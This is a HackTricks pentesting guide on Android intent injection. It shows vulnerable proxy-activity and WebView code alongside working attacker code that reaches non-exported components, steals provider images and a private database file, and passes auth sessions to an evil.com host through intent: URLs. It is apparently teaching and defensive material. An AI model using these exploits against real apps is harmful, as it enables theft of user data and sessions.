0x22bb
/
hacktricks
mirror of https://github.com/carlospolop/hacktricks.git
1
2
Fork 0
Code Releases Activity
hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

315 lines
17 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
# Introduction
This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \
Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \
This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`.
{% hint style="info" %}
As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them.
{% endhint %}
# A typical case
Let us examine an example. Fragment of the `AndroidManifest.xml` file
```markup
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
```
Activity `ProxyActivity`
```java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
```
Activity `AuthWebViewActivity`
```java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```
`AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the user’s authentication session to a URL obtained from the `url` parameter.
Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
```
throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`.
But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**:
```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions.
# Escalation of Impact
In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks).
## Escalation of attacks via Content Providers
Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions:
* it must be **non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article)
* it must have the **`android:grantUriPermissions`** flag set to **`true`**.
* `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**.
* `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child `<grant-uri-permission>`** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`.
The attacker must set itself as the recipient of an embedded intent and set the following flags
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider (without this flag, the access is one-time only)
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider (such as `query`, `openFile`, `openAssetFile`)
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations
An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`
```markup
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
```
Example of the theft of user pictures `AndroidManifest.xml` file
```markup
<activity android:name=".LeakActivity" android:exported="true" />
```
`MainActivity.java` file
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
```
## Attacks on Android File Provider
This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**.
Example file provider (for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
```markup
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
```
It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml`
It may look somewhat like
```markup
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
```
Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")`
The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files.
Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java`
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
```
## Access to arbitrary components via WebView
An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**.
**This vulnerability can be exploited both via other vulnerabilities** (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side
Example of vulnerable code
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler.
To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
```
Example attack
```java
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
```
This version contains **several restrictions compared to the classic versio**n of the vulnerability:
* Embedded `Parcelable` and `Serializable` objects cannot be cast to string (they will be ignored)
* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare
Many developers still forget to carry out a complete filtering of intents received via WebView
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
The attacker can specify a non-exported component via a selector
```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
```
And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well
```java
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
```
But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration:
```markup
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
```
```java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
```
We therefore recommend checking that an activity is exported before it is launched.
## Other ways of creating insecure intents
Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it
```java
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
```
# Vuln app
{% embed url="https://github.com/oversecured/ovaa" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
View Git Blame Copy Permalink